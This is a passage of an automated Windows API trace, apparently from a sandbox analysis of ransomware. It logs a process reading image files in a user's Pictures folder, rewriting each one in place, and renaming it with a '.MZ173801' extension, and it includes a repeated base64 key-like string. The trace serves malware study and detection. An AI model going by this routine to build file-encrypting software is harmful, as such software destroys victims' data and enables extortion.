nFileSizeHigh=0x0, nFileSizeLow=0x16b0, dwReserved0=0x2e0000, dwReserved1=0x92000290, cFileName="96hF.png", cAlternateFileName="")) returned 1 [0123.011] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.011] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\96hF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\96hf.png"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c77110, ftCreationTime.dwHighDateTime=0x1d5dfc3, ftLastAccessTime.dwLowDateTime=0x449ce4d0, ftLastAccessTime.dwHighDateTime=0x1d5d7ab, ftLastWriteTime.dwLowDateTime=0x449ce4d0, ftLastWriteTime.dwHighDateTime=0x1d5d7ab, nFileSizeHigh=0x0, nFileSizeLow=0x16b0)) returned 1 [0123.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0123.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0123.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\96hF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\96hf.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.014] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.015] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.015] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x16b0 [0123.015] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.015] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x16b0, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x16b0, lpOverlapped=0x0) returned 1 [0123.016] CloseHandle (hObject=0x28c) returned 1 [0123.016] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\96hF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\96hf.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.017] WriteFile (in: hFile=0x28c, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x16b0, lpOverlapped=0x0) returned 1 [0123.018] CloseHandle (hObject=0x28c) returned 1 [0123.020] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\96hF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\96hf.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\96hF.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\96hf.png.mz173801")) returned 1 [0123.021] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.021] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\efOXL6YxYxJb0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\efoxl6yxyxjb0.png"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc06d82b0, ftCreationTime.dwHighDateTime=0x1d5d885, ftLastAccessTime.dwLowDateTime=0xb1ffb680, ftLastAccessTime.dwHighDateTime=0x1d5dcb3, ftLastWriteTime.dwLowDateTime=0xb1ffb680, ftLastWriteTime.dwHighDateTime=0x1d5dcb3, nFileSizeHigh=0x0, nFileSizeLow=0xa5c5)) returned 1 [0123.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0123.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0123.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\efOXL6YxYxJb0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\efoxl6yxyxjb0.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.025] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.025] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.025] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xa5c5 [0123.025] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.025] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0xa5c5, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xa5c5, lpOverlapped=0x0) returned 1 [0123.026] CloseHandle (hObject=0x28c) returned 1 [0123.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\efOXL6YxYxJb0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\efoxl6yxyxjb0.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.029] WriteFile (in: hFile=0x28c, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xa5c5, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f404*=0xa5c5, lpOverlapped=0x0) returned 1 [0123.030] CloseHandle (hObject=0x28c) returned 1 [0123.037] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\efOXL6YxYxJb0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\efoxl6yxyxjb0.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\efOXL6YxYxJb0.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\efoxl6yxyxjb0.png.mz173801")) returned 1 [0123.038] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.038] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\e_nSEbfXaEVeTS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\e_nsebfxaevets.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: 